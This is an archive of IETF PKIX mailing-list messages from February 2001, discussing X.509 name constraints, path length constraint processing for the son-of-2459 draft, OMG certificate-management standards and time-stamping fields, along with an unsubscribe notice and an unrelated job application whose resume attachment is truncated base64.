Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA02373; Wed, 14 Feb 2001 13:26:07 -0800 (PST)
Received: from sunlabs.East.Sun.COM (sunlabs.East.Sun.COM [129.148.75.250]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA00628; Wed, 14 Feb 2001 16:26:06 -0500 (EST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA05119; Wed, 14 Feb 2001 16:26:04 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 14 Feb 2001 16:22:48 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Polk <[e-mail]>
CC: [e-mail]
Subject: Re: Resolution of name constraints issue
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

A hearty thanks to Tim, Sharon, David, Carlisle, Serge, Russ, and
everyone else who helped arrange this peaceful, speedy, and positive
settlement!

Steve Hanna

Tim Polk wrote:
> 
> Folks,
> 
> As you may recall, name constraints had emerged as a thorny issue at the
> San Diego meeting.  ISO had determined that the current name constraints
> extension did not satisfy all of their requirements, and was contemplating
> revisions.  However, the current name constraints extension were an
> acceptable solution for PKIX because RFC 2459 (and its successor) mandated
> that the subject field of all CA certificates MUST contain a non-empty DN.
> 
> The changes under consideration at that time in ISO could have resulted in
> divergent IETF and ISO specifications.  I feared that changes in name
> constraints would delay or prevent implementation of this extension.  At
> the San Diego meeting, we agreed to convey our concerns to ISO and
> encourage them to explore other options.  We agreed that the issue needed
> to be resolved by the middle of February.  This was reasonable, since ISO
> had a meeting in Geneva at the end of January.
> 
> In between the San Diego and Geneva meetings, there was a flurry of
> activity on this topic.  Entrust, NIST, and Spyrus worked actively to flesh
> out the business requirements that name constraints should satisfy, then
> determine if a functional shortfall existed.  We determined that a
> shortfall existed, and it could not be satisfied with the current
> syntax.  We also determined that the current extension efficiently
> represented the remaining requirements.
> 
> This information was used by members of the ISO Directory Working Group to
> develop semantics and syntax for a new ISO extension which implements all
> of ISO's requirements.  This extension contains an additional optional
> field to specify that a name type is required to appear in all following
> certificates.  The extension incorporates both current fields and their
> semantics are preserved.  The new extension was discussed at the Geneva
> meeting, and seems likely to be accepted and incorporated in X.509 in the
> future.  A new OID will be assigned to identify the new extension.
> 
> What does this mean for PKIX?
> 
> (1) The name constraints text in son-of-2459 will not need to be
> modified.  The current OID can still be used with the specified syntax, and
> the semantics are preserved.  This means we can proceed with Last Call.
> 
> (2) The new extension is processed EXACTLY the same way as the current
> extension when the one new field is not present.  As a result, it will be
> straightforward to process paths that include both the current name
> constraints extension and the version ISO is currently working on.
> 
> (3) As the ISO documents (e.g., the defect report or proposed resolution)
> become available,  the PKIX WG should review the text to ensure
> compatibility and understand the new functionality that is being
> offered.  (Hoyt Kesterson has consistently brought these documents to the
> attention of the PKIX WG.  Thanks, Hoyt!)
> 
> (4) As the specification matures, PKIX can add the new name constraints
> extension to the recognized extension set.
> 
> There were numerous contributors in this process.  I would like to
> recognize the following people: Sharon Boeyen, Serge Mister, and Carlisle
> Adams from Entrust, Russ Housley from Spyrus, and David Cooper from NIST.
> 
> Thanks,
> 
> Tim Polk


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA13787 for <[e-mail]>; Wed, 14 Feb 2001 12:36:29 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id PAA05293 for <[e-mail]>; Wed, 14 Feb 2001 15:36:30 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 14 Feb 2001 15:35:47 -0500
To: [e-mail]
From: Tim Polk <[e-mail]>
Subject: Open Issue in Part1: path length constraints
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Folks,

As noted in the Last Call message, there is an open issue on Part 1 
regarding the processing of path length constraints.  The basic constraints 
text (4.2.1.10, page 37) and path validation algorithm wrap-up procedure 
(6.1.5, page 73) contained in the current draft of Part1 does not consider 
the path length constraint for an end certificate.  This has sparked some 
controversy.

In this message, I will attempt to describe the issue and the trade-offs 
between the two different interpretations.  I apologize in advance for the 
length of this message.  Brevity is not my strong suit.

We first ran into this issue at NIST when we were developing the X.509 path 
validation tests.  There was some debate among the participants whether a 
path should be rejected if the max_path_length state variable was less than 
or equal to zero and the end certificate was a CA certificate (i.e., 
basicConstraints included cA=TRUE).

After some discussion, we decided that the path length constraint in basic 
constraints was intended to specify the number of intermediate certificates 
that could follow this certificate. This meant the max_path_length did not 
apply to the end certificate. The current text of part1 reflects this line 
of reasoning:

 From 4.2.1.10:

 >The pathLenConstraint field is meaningful only if cA is set to TRUE. In this
 >case, it gives the maximum number of CA certificates that may follow this
 >certificate in a certification path. (Note: One end- entity certificate will
 >follow the final CA certificate in the path. The last certificate in a path
 >is considered an end-entity certificate, whether the subject of the
 >certificate is a CA or not.)

6.1.5 supports this interpretation through omission:  there is no 
processing step to consider the value of  max_path_length in the 
wrap-up-procedure.  (The comparison step appears in 6.1.4, "Preparation for 
Certificate i+1" so it is already performed for every other certificate in 
the path.)

If the working group disagrees with this interpretation, the changes to 
Part 1 are straightforward.  First, modify the parenthetical in 4.2.1.10 to 
indicate that the end certificate in the path is considered a CA 
certificate if the basic constraints extension indicates 
cA=TRUE.  Secondly, add one new step (h) to 6.1.5 and reject the 
certification path if (h) fails.

new step:
 >
 >(h) If the certificate was not self-issued, verify that max_path_length is
 >greater than zero and decrement max_path_length by 1.

comparison statement:
 >
 >If check (h) fails, the procedure terminates, returning a failure indication
 >and an appropriate reason.


What is less straightforward (at least to me) is which approach is the 
appropriate one.

Essentially, the relying party wishes to trust the public key of a subject 
to perform an action *other* than validating a signature on a 
certificate.  During the preparation for this certificate the value of 
max_path_length has been decremented or reset to zero (steps (l) or (m) in 
6.1.4) , indicating no additional CA certificates may be processed.

If that subject of the last certificate is not a CA, the path is clearly 
acceptable.  But what if the subject is a CA? Should the relying party 
reject the path because the key is in a CA certificate *or* accept the path 
because the subject is not being treated as a CA?

I cannot come up with a security rationale for rejecting such a 
certificate.  On the other hand, I do need to stretch a bit to devise a 
scenario where accepting this certificate is beneficial.

Here is the beneficial scenario:

CA "A" issues a CA certificate to CA "B".  "A" trusts end entity 
certificates issued by "B", but does not trust "B" to issue certificates to 
other CAs.  "A" includes basic constraints in the certificate it issues to 
"B" with cA = TRUE and pathLen = 0.

"B" does not issue its own CRLs, but delegates this to CA "C".  "B" also 
trusts "C" to issue end entity certificates. So, "B" includes basic 
constraints in the certificate it issues to "B" with cA = TRUE.

Alice's trust point is "A".
Bob's trust point is "B", and "B" issued his certificate.  Bob's 
certificate includes a CRL distribution points extension identifying "C" as 
the indirect CRL issuer.
Carol's trust point is "C", and "C" issued her certificate.

Using the current text/algorithm, Alice can validate the certification path 
for Bob including the indirect CRL signed by "C".  This required Alice to 
validate the certification path ending with the certificated issued by "B" 
to "C".

Alice cannot validate Carol's certificate, though.  Alice cannot trust any 
certification path  that includes the certificate issued by "B" to "C" as 
an intermediate certificate.

This *seems* to satisfy the spirit of the path length constraint, but not 
the letter.

On the other hand:

If max_path_length is used to reject end certificates whose subjects are 
CAs, Alice would not be able to validate Bob's certification path.  Alice 
could not process the indirect CRL.

If "A" relaxed the path length constraint (1 instead of zero) Alice would 
be able to validate Bob's certification path.  Unfortunately, this would 
also permit Alice to validate Carol's certification path, which "A" did not 
intend.

This honors the letter of the path length constraint but did not achieve 
the intended results.

Even with this scenario, there are at least two workarounds.  Either CA "A" 
or CA "B" could issue a certificate to "C" that omitted the basic 
constraints extension (but included the cRLSign bit in keyUsage).  Alice 
would then be able to process paths as intended.  Alice would accept Bob's 
certification path and reject Carol's.

-----------------------------------

In summary:

(1) The current text describes a comparatively liberal interpretation of 
basic constraints.
(2) A straightforward reading of RFC 2459 or X.509 implies a more 
conservative interpretation.
(3) Either interpretation may be easily accommodated in the new specification.
(4) I cannot devise a security attack based on the more liberal interpretation.
(5) I can devise one scenario where the more liberal interpretation was 
beneficial. (It is unclear if there are others.)
(6) It is certainly possible to implement this same scenario with the more 
conservative interpretation.  It requires issuing one additional certificate.

Any thoughts?

Thanks,

Tim Polk

P.S.  I should state that implementations exist that implement both 
interpretations.



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA07225 for <[e-mail]>; Wed, 14 Feb 2001 10:44:11 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id NAA13157 for <[e-mail]>; Wed, 14 Feb 2001 13:44:13 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 14 Feb 2001 13:43:29 -0500
To: [e-mail]
From: Tim Polk <[e-mail]>
Subject: WG Last Call: Son-of-2459
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Folks,

The current version of Part1 is ready for Working Group Last Call; Last 
Call will close on or after February 28, 2001.

The draft is named draft-ietf-pkix-new-part1-04.txt.  The text has been 
posted and is available from the usual repositories, including: 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-04.txt

The name constraints issue has been addressed satisfactorily.  (See earlier 
message with subject "Resolution of name constraints issue").

I am aware of one open issue that needs to be discussed by this group.  The 
basic constraints text (4.2.1.10, page 37) and path validation algorithm 
wrap-up procedure (6.1.5, page 73) contained in this specification does not 
consider the path length constraint for an end certificate.   This may be 
considered a change from RFC 2459, and ...

                           *it was not discussed on the list*.

This is a change I made without bringing it to the attention of the 
list.  Oops.

We ran into this issue when we were developing the X.509 path validation 
tests.  After some discussion, we decided that the path length constraint 
did not apply to the end certificate. I thought I was clarifying the text 
of Part1 by making the corresponding changes.  However, users of the path 
validation tests have sited this as a *change* not a clarification.

It was not appropriate for me to make this change without discussion on the 
list.  We need to discuss this issue and resolve it on the list before WG 
Last Call closes.  I will be following this message with a more complete 
description of the problem this afternoon.

Thanks,

Tim Polk


Received: from marcy.adiron.com ([128.230.111.5]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA03473 for <[e-mail]>; Wed, 14 Feb 2001 09:31:17 -0800 (PST)
Received: from localhost (polar@localhost) by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id MAA18997; Wed, 14 Feb 2001 12:25:18 -0500
X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs
Date: Wed, 14 Feb 2001 12:25:17 -0500 (EST)
From: Polar Humenn <[e-mail]>
To: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
cc: [e-mail], Richard Mark Soley <[e-mail]>, Andrew Watson <[e-mail]>
Subject: Re: Looking for Standards
In-Reply-To: <[e-mail]>
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by above.proper.com id JAA03474

On Wed, 14 Feb 2001, Michael [iso-8859-1] Ströder wrote:

> Polar Humenn wrote:
> > 
> > There is a standard for certificate management out of the CORBA E-commerce
> > Group, from the OMG (Object Management Group), the standards group for
> > Object Request Brokers.
> > 
> > The document number there is:
> >         http://cgi.omg.org/cgi-bin/doc?ec/99-12-03
> 
> Document ec/99-12-03 (DSTC Revised Submission against the PKI RFP)
>                                               ^^^^^^^^^^^^^^^^^^^
> How to understand this?
> 

I wish I knew why this strange terminology is used in places. It throws me
as well.

It means that the "Submission", which is the actual proposal, is *for* the
particular (RFP) Request For Proposal, in this case the Public Key
Infrastructure (PKI) RFP.

I think it's just a result years of nicknames and phrases that caught on.
Richard, Andrew, please correct me if I'm wrong.

Cheer,
-Polar

> Ciao, Michael.
> 

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[e-mail]       2-212 CST      
Phone: [phone]           Syracuse, NY 13244-4100
Fax:   [phone]           http://www.adiron.com



Received: from proxy.ojp.usdoj.gov (lists.ojp.usdoj.gov [149.101.22.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA02849 for <[e-mail]>; Wed, 14 Feb 2001 09:11:56 -0800 (PST)
Received: from ns.ojp.usdoj.gov by proxy.ojp.usdoj.gov via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 14 Feb 2001 17:03:19 UT
Received: from ojpsmtp.ojp.usdoj.gov (ojpmail.ojp.usdoj.gov [10.121.16.126]) by lists.ojp.usdoj.gov (8.9.3/8.9.3) with SMTP id MAA08792 for <[e-mail]>; Wed, 14 Feb 2001 12:11:26 -0500 (EST)
Received: from GATEWAY-Message_Server by ojpsmtp.ojp.usdoj.gov with Novell_GroupWise; Wed, 14 Feb 2001 12:10:02 -0500
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.4
Date: Wed, 14 Feb 2001 12:09:26 -0500
From: "Lawrence Gross" <[e-mail]>
To: <[e-mail]>
Subject:  Unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id JAA02850

Unsubscribe



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA02391 for <[e-mail]>; Wed, 14 Feb 2001 09:05:26 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id SAA02155 for <[e-mail]>; Wed, 14 Feb 2001 18:05:27 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Wed, 14 Feb 2001 18:05:27 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id SAA18539 for <[e-mail]>; Wed, 14 Feb 2001 18:05:26 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id SAA07143 for [e-mail]; Wed, 14 Feb 2001 18:05:25 +0100 (MET)
Date: Wed, 14 Feb 2001 18:05:25 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail]
Subject: time stamping and son of 2459

The current text in son-of-2459 contains a section about
how a time stamping server can fill in a SIA extension.
It mentions the usage of URLs for HTTP etc, and DNSname
and IPAddress for the direct socket protocol. 

Unfortunately the latter does not allow to specify a port.

I am not quite sure whether one should invented an OtherName
form here, or whether one could try to find a common solution
with the other usage of the same prtocol, i.e., in CMP.





Received: from junker.ms.inka.de (p3EE056A2.dip.t-dialin.net [62.224.86.162]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA29841 for <[e-mail]>; Wed, 14 Feb 2001 08:26:49 -0800 (PST)
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id 93AEA68080 for <[e-mail]>; Wed, 14 Feb 2001 17:26:22 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Wed, 14 Feb 2001 17:26:22 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Looking for Standards
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Polar Humenn wrote:
> 
> There is a standard for certificate management out of the CORBA E-commerce
> Group, from the OMG (Object Management Group), the standards group for
> Object Request Brokers.
> 
> The document number there is:
>         http://cgi.omg.org/cgi-bin/doc?ec/99-12-03

Document ec/99-12-03 (DSTC Revised Submission against the PKI RFP)
                                              ^^^^^^^^^^^^^^^^^^^
How to understand this?

Ciao, Michael.


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA25661 for <[e-mail]>; Wed, 14 Feb 2001 07:41:16 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA19316 for <[e-mail]>; Wed, 14 Feb 2001 10:41:16 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 14 Feb 2001 10:30:43 -0500
To: [e-mail]
From: Tim Polk <[e-mail]>
Subject: Resolution of name constraints issue
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Folks,

As you may recall, name constraints had emerged as a thorny issue at the 
San Diego meeting.  ISO had determined that the current name constraints 
extension did not satisfy all of their requirements, and was contemplating 
revisions.  However, the current name constraints extension were an 
acceptable solution for PKIX because RFC 2459 (and its successor) mandated 
that the subject field of all CA certificates MUST contain a non-empty DN.

The changes under consideration at that time in ISO could have resulted in 
divergent IETF and ISO specifications.  I feared that changes in name 
constraints would delay or prevent implementation of this extension.  At 
the San Diego meeting, we agreed to convey our concerns to ISO and 
encourage them to explore other options.  We agreed that the issue needed 
to be resolved by the middle of February.  This was reasonable, since ISO 
had a meeting in Geneva at the end of January.

In between the San Diego and Geneva meetings, there was a flurry of 
activity on this topic.  Entrust, NIST, and Spyrus worked actively to flesh 
out the business requirements that name constraints should satisfy, then 
determine if a functional shortfall existed.  We determined that a 
shortfall existed, and it could not be satisfied with the current 
syntax.  We also determined that the current extension efficiently 
represented the remaining requirements.

This information was used by members of the ISO Directory Working Group to 
develop semantics and syntax for a new ISO extension which implements all 
of ISO's requirements.  This extension contains an additional optional 
field to specify that a name type is required to appear in all following 
certificates.  The extension incorporates both current fields and their 
semantics are preserved.  The new extension was discussed at the Geneva 
meeting, and seems likely to be accepted and incorporated in X.509 in the 
future.  A new OID will be assigned to identify the new extension.

What does this mean for PKIX?

(1) The name constraints text in son-of-2459 will not need to be 
modified.  The current OID can still be used with the specified syntax, and 
the semantics are preserved.  This means we can proceed with Last Call.

(2) The new extension is processed EXACTLY the same way as the current 
extension when the one new field is not present.  As a result, it will be 
straightforward to process paths that include both the current name 
constraints extension and the version ISO is currently working on.

(3) As the ISO documents (e.g., the defect report or proposed resolution) 
become available,  the PKIX WG should review the text to ensure 
compatibility and understand the new functionality that is being 
offered.  (Hoyt Kesterson has consistently brought these documents to the 
attention of the PKIX WG.  Thanks, Hoyt!)

(4) As the specification matures, PKIX can add the new name constraints 
extension to the recognized extension set.

There were numerous contributors in this process.  I would like to 
recognize the following people: Sharon Boeyen, Serge Mister, and Carlisle 
Adams from Entrust, Russ Housley from Spyrus, and David Cooper from NIST.

Thanks,

Tim Polk








Received: from marcy.adiron.com ([128.230.111.5]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA14189 for <[e-mail]>; Wed, 14 Feb 2001 05:28:51 -0800 (PST)
Received: from localhost (polar@localhost) by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id IAA18622; Wed, 14 Feb 2001 08:23:11 -0500
X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs
Date: Wed, 14 Feb 2001 08:23:11 -0500 (EST)
From: Polar Humenn <[e-mail]>
To: Peter Gutmann <[e-mail]>
cc: [e-mail], [e-mail]
Subject: Re:  Looking for Standards
In-Reply-To: <[e-mail]>
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 14 Feb 2001, Peter Gutmann wrote:

> Polar Humenn <[e-mail]> writes:
> 
> >There is a standard for certificate management out of the CORBA E-commerce
> >Group, from the OMG (Object Management Group), the standards group for Object
> >Request Brokers.
> >
> >The document number there is:
> >        http://cgi.omg.org/cgi-bin/doc?ec/99-12-03
> 
> Hmm, the original request was for a simple, lightweight means of grabbing certs
> from a server via HTTP.  I saw a mention of LDAP somewhere, and now someone's
> suggested using CORBA to move certs around... I can't shake the feeling that
> this progression is heading in the exact opposite direction to what the
> original poster was after :-).

Well, it is "lightweight" when you consider the time to market
capabilities: besides an interoperable wire protocol, you get a
corresponding API, a Request/Reply semamtics, an object model, a security
model, and don't have to screw around with ASN.1 encodings except for the
Cert Request, which you'd have to do anyway (although you could easily
usurp with XML or something else). It's easy.

I guess I misinterpreted "lightweight". :-0

Cheers,
-Polar

> 
> (I was going to finish by suggesting something silly as the next step in the
>  progression, but I normally use Corba as the canonical heavyweight protocol so
>  I can't actually think of anything to use as the next step beyond this).
> 
> Peter.
> 

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[e-mail]       2-212 CST      
Phone: [phone]           Syracuse, NY 13244-4100
Fax:   [phone]           http://www.adiron.com



Received: from tomts6-srv.bellnexxia.net (smtp.bellnexxia.net [209.226.175.26]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA24715 for <[e-mail]>; Tue, 13 Feb 2001 21:30:45 -0800 (PST)
Received: from kian ([64.231.43.91]) by tomts6-srv.bellnexxia.net (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010214053016.MZPI14653.tomts6-srv.bellnexxia.net@kian> for <[e-mail]>; Wed, 14 Feb 2001 00:30:16 -0500
From: Kian Haghdad <[e-mail]>
To: <[e-mail]>
Subject: Software engineer
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="27342482"
Message-Id: <20010214053016.MZPI14653.tomts6-srv.bellnexxia.net@kian>
Date: Wed, 14 Feb 2001 00:30:19 -0500

This is a multipart message in MIME format

--27342482
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi:

I have got your email from the Web site and I am very interested in working for your company. I 
have a BS in Electrical Engineering and computer science and worked on my Master degree 
in Telecommunication engineering (not finished due to the lucrative market!). I have also 7++ 
years of experience with software development, Internet development and hardware. I have 
worked for many companies both in Iran and in the United States using different development 
environments.
I am looking for a position which utilizes my experience. I am open to both Permanent position 
or contract to permanent positions.

I am Canadian resident and have permission to work in Canada.
I have attached my resume and sincerely appreciate your attention, thank you.

Sincerely,

Kian Haghdad

Here is my resume:
Kian Haghdad
8 Kingsbridge Crt., Apt. 508 
Toronto, Ontario M2R 1L5
Home: [phone]
Fax:  [phone]
Email: [e-mail]

I have more than 7+ years of experience in application development, Database Management, 
Internet development. I have also been involved in hardware design. My software 
development experience is mainly in Visual Basic, Visual C++, Visual J++, Visual InterDev, 
COM, DCOM, MFC, SDKs, MS-Access, MS-SQL, FoxPro,
Java script and VB script. Over the years I have been responsible for the 
Development of many applications from design to commercial release.

EDUCATION:

Sharif University OF Technology, Tehran (The best technical school in Iran)	9/87-6/92
B.S. Degree: Electrical Engineering and computer science
Worked on M.S. degree in Telecommunication engineering

EXPERIENCE:

01Communique, Mississauga, Ontario	12/00-Present
Involved in the development of a web supported version of the communicating Interface
using Active Server Pages, JavaScript, VB Script and browser compatibility, Visual C++6.0,
Borland C++, MSMQ, TCP/IP. 
Application increases the Modem compatibility for the wide variety of connections.
It also provides additional capabilities for the desktop version on the web.

American SkySat, Walnut Creek, California	5/00-Present
* Involved in the development of a web application in Visual InterDev 6.0 using Active Server 
Pages (ASP), Microsoft E-Commerce, SQL 7.0, XML, Visual C++ 6.0 and Visual Basic 6.0, 
Visual J++ 6.0, COM (ATL), DCOM, JavaScript and VB Script. The web server was Microsoft 
Internet Information Server (IIS), Microsoft site server 3.0, with Microsoft E-Commerce edition 
3.0 and FrontPage extension running under the NT Server The web application provides NT 
related services online. The user can register and buy services and also allows the user to 
troubleshoot and configure a system at real time online. The web site also provides the 
capability of chatting online, customer support online, statistical analysis online and transaction 
online.

* Developed a database management application for a medical health care center, using 
Visual Basic 6.0, SQL 7.0, Crystal report and Access 2000. (Windows 98 and NT)

American Computech, Pleasanton, California	3/98-5/00
Developed different applications using Visual C++, Visual J++, and Access.

* Involved in the development of a CRM (Customer Relation Management)web application in 
Visual InterDev 6.0 using Active Server Pages (ASP), Microsoft E-Commerce, SQL 7.0, XML, 
Visual Basic 6.0, Visual J++ 6.0, COM, DCOM, JavaScript and VB Script. (Windows 98 and 
NT)

Developed an application in Visual Basic 5.0, Access 97 and Crystal reports (using ODBC) for 
financial analyses department of FHP (Concord, California). The application is capable of 
importing data from other systems, analyzing and processing the data and generating hundreds 
of reports base on the original data.

*Developed an MDI application in Visual C++5,0 and Access 97 for windows called ID maker. 
The application is designed to drive a digital camera, capture a picture and generate different 
ID cards using OLE (marketing for schools and clubs). The Cannon digital camera is controlled 
via DLL functions calls to the camera's driver. The camera is connected via a parallel port. I 
have also developed several OCXs for this project.

Developed an application in Visual Basic 5.0, Access 97 and Crystal reports (using ODBC). 
The application is a very large information management system for CBI (City Building Inc. in 
San Francisco). The application contains 28 relational tables large number of queries forms 
and reports.

Tavanir Co., Tehran, Iran	9/95-3/98
*Developed an application in Visual C++ 5.0 intended for network control managements. The 
application is able to get information such as voltage, active and reactive power from power 
plants and transmission stations and specifies transmission state using power flow method after 
a fault occurs on the transmission line. 

* Developed an application for voltage drop on the net. The application was developed in 
Visual Basic 5.0 using graphical OCXs.

* Developed hardware for the high voltage network.

*Developed an application in Visual C++ 4.0. The application checks the transmitting power on 
the lines and controls the system's steady state by alarm system.

*Developed an application in Visual C++ 4.0 set the protection relays in substations to protect 
the network's reliability.

Pishro Co., Tehran, Iran	11/94-6/95
Designed, developed and implemented electrical systems using computer aided software. The 
electrical systems were intended for both indoors (Buildings) and outdoors (Airports and 
Terminals).
The systems were designed and based on the standard and regulation of electrical system.

Pardis Tower Co, Tehran, Iran	1/93-11/94
Designed simulators for training purpose.
*Developed an application in  C++ for  cycloconvertor simulator. The  
cycloconvertor is used in the starters of synchronous motors.
*Developed application using C++  for control speed of  DC motors. The application
 gets input voltage to the motor, speed of motor and rotor's current. It can control
 the motor speed based on requested speed.
*Developed application using C++ for step motor's control speed. In order to change the angle 
of dish antenna, the application orders to step motor to change the rotor's situation.

SKILLS:
Software development
Visual C++, Visual Basic, Visual InterDev, Visual J++, MFC, SDKs, COM, DCOM, ATL ActiveXs 
, C++, Fortran, Intel  8085 Assembler Access.
Internet development
Visual InterDev 6.0, Active Server Pages (ASP), SQL 7.0, COM, DCOM, Java script. 
Database development
MS-SQL, Access, FoxPro
Operating System Used
NT, MS-Win, UNIX, VAX, MS-DOS


--27342482
Content-Type: application/msword; name="kian Resume U_C.doc"
Content-Transfer-Encoding: Base64
Content-Disposition: attachment; filename="kian Resume U_C.doc"

e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcdWMxIFxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUx
MDMze1xmb250dGJse1xmMFxmcm9tYW5cZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjAyMDYw
MzA1MDQwNTAyMDMwNH1UaW1lcyBOZXcgUm9tYW47fXtcZjJcZm1vZGVyblxmY2hhcnNldDBcZnBy
cTF7XCpccGFub3NlIDAyMDcwMzA5MDIwMjA1MDIwNDA0fUNvdXJpZXIgTmV3O30NCntcZjI3XGZz
d2lzc1xmY2hhcnNldDBcZnBycTJ7XCpccGFub3NlIDAyMGIwNjA0MDMwNTA0MDQwMjA0fVRhaG9t
YTt9e1xmMjhcZnN3aXNzXGZjaGFyc2V0MFxmcHJxMntcKlxwYW5vc2UgMDIwYjA2MDQwMzA1MDQw
NDAyMDR9VmVyZGFuYTt9e1xmMzVcZnJvbWFuXGZjaGFyc2V0MjM4XGZwcnEyIFRpbWVzIE5ldyBS
b21hbiBDRTt9e1xmMzZcZnJvbWFuXGZjaGFyc2V0MjA0XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBD
eXI7fQ0Ke1xmMzhcZnJvbWFuXGZjaGFyc2V0MTYxXGZwcnEyIFRpbWVzIE5ldyBSb21hbiBHcmVl
azt9e1xmMzlcZnJvbWFuXGZjaGFyc2V0MTYyXGZwcnEyIFRpbWVzIE5ldyBSb21hbiBUdXI7fXtc
ZjQwXGZyb21hblxmY2hhcnNldDE3N1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEhlYnJldyk7fXtc
ZjQxXGZyb21hblxmY2hhcnNldDE3OFxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEFyYWJpYyk7fQ0K
e1xmNDJcZnJvbWFuXGZjaGFyc2V0MTg2XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBCYWx0aWM7fXtc
ZjUxXGZtb2Rlcm5cZmNoYXJzZXQyMzhcZnBycTEgQ291cmllciBOZXcgQ0U7fXtcZjUyXGZtb2Rl
cm5cZmNoYXJzZXQyMDRcZnBycTEgQ291cmllciBOZXcgQ3lyO317XGY1NFxmbW9kZXJuXGZjaGFy
c2V0MTYxXGZwcnExIENvdXJpZXIgTmV3IEdyZWVrO317XGY1NVxmbW9kZXJuXGZjaGFyc2V0MTYy
XGZwcnExIENvdXJpZXIgTmV3IFR1cjt9DQp7XGY1NlxmbW9kZXJuXGZjaGFyc2V0MTc3XGZwcnEx
IENvdXJpZXIgTmV3IChIZWJyZXcpO317XGY1N1xmbW9kZXJuXGZjaGFyc2V0MTc4XGZwcnExIENv
